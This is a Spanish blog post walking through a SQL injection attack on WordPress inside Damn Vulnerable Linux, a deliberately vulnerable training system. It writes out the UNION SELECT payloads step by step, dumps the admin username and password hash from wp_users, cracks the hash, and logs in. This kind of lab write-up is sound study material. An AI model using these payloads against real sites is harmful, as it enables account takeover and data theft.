martes, 5 de junio de 2012

Explotando Wordpress en Damn Vulnerable Linux 1.5






 Requisitos mínimos:
  • Máquina virtual
  • 512Mb RAM disponibles
  • Damn Vulnerable Linux 1.5, Infección contagiosa (Vaya tela de título)

Conocimientos previos:
  • PHP & SQL
  • Injecciones y funcionamiento de tal
Buscando vulnerabilidad

Buscando entre dicho blog, confirmé que había una vulnerabilidad SQLi en las categorías.
Esta, como en la mayoría de los casos, es explotable vía Get, cosa que en algunos caso no es así.
 
Comienza el juego

Lo que hice, fué asignar un número falso, para rechazar la consulta inicial, y poder ejecutar las consultas SQL.
?cat = 999999
Me respondía "Not Fond". Esto no significa que deje de ser vulnerable.
A continuación procedí a identificar el número de columas de dicha tabla, para buscar la columna vulnerable en la que me basé.
?cat = 999999 UNION SELECT 1,2
?cat = 999999 UNION SELECT 1,2,3
?cat = 999999 UNION SELECT 1,2,3,4
?cat = 999999 UNION SELECT 1,2,3,4,5
Al llegar a la quinta columna, supe que la segunda era vulnerable. ¿Cómo? Traduciendo del inglés, sabemos cuando NO hemos llegado.
The used SELECT statements have a different number of columns
En pantalla se podía apreciar el siguiente texto:
Archive for the '2' category
Sustituimos el número 2 por el número 99 y vemos:
Archive for the '99' category
No hay duda.

Removiendo la tierra

Para ver el usuario y host de la base de datos, simplemente hice la petición USER().
Esto me devolvió:
root@localhost
La injección quedaba así:
?cat = 999999 UNION SELECT 1,USER(),3,4,5
XD! Tener una base de datos como ROOT es estar loco. Teniendo en cuenta la seguridad que ahí se manifestaba me dije: Ni me hará falta buscar la base de datos y columnas, ya que estoy seguro que tendrá los mismo datos.
Para buscar el nombre de la base de datos, simplemente induje un error.

?cat = 999999 UNION SELECT 1,jejeje,2,3,4 from Hola
Table wordpress.Hola doesn't exist.
Cada vez estaba más seguro. Procedí así con la injección.

Contact Administrator

Por si alguien desconoce estos datos, procedí con la base de datos wordpress, los cuales por defecto son:
Tabla: wp_users
Columnas: user_login, user_pass
Continué con la injección:
?cat = 999999 UNION SELECT 1,COUNT(*),3,4,5 from wp_users
Aclaración: COUNT(*) se utiliza para enumerar las columnas.
Archive for the '1' category
Sólo tenía un registro. Procedí con la injección final:
?cat = 999999 UNION SELECT 1,user_login,3,4,5 from wp_users
?cat = 999999 UNION SELECT 1,user_pass,3,4,5 from wp_users
Primer resultado:
Archive for the 'Admin' category
Segundo resultado:
Archive for the '7b24afc8bc80e548d66c4e7ff72171c5' category
Click derecho, Buscar en Google, y concluí que la clave era toor. 

Dejando huella
Accedí a la página principal del blog, y más abajo vi el login de usuarios.
Me logeé con el usuario y clave del administrador, y procedí a crear un "Yo Estube Aquí", que, al ser un entorno controlado y totalmente simulado, realicé.
?di=11132870473310
Fín del juego.

Un saludo.

No hay comentarios:

Publicar un comentario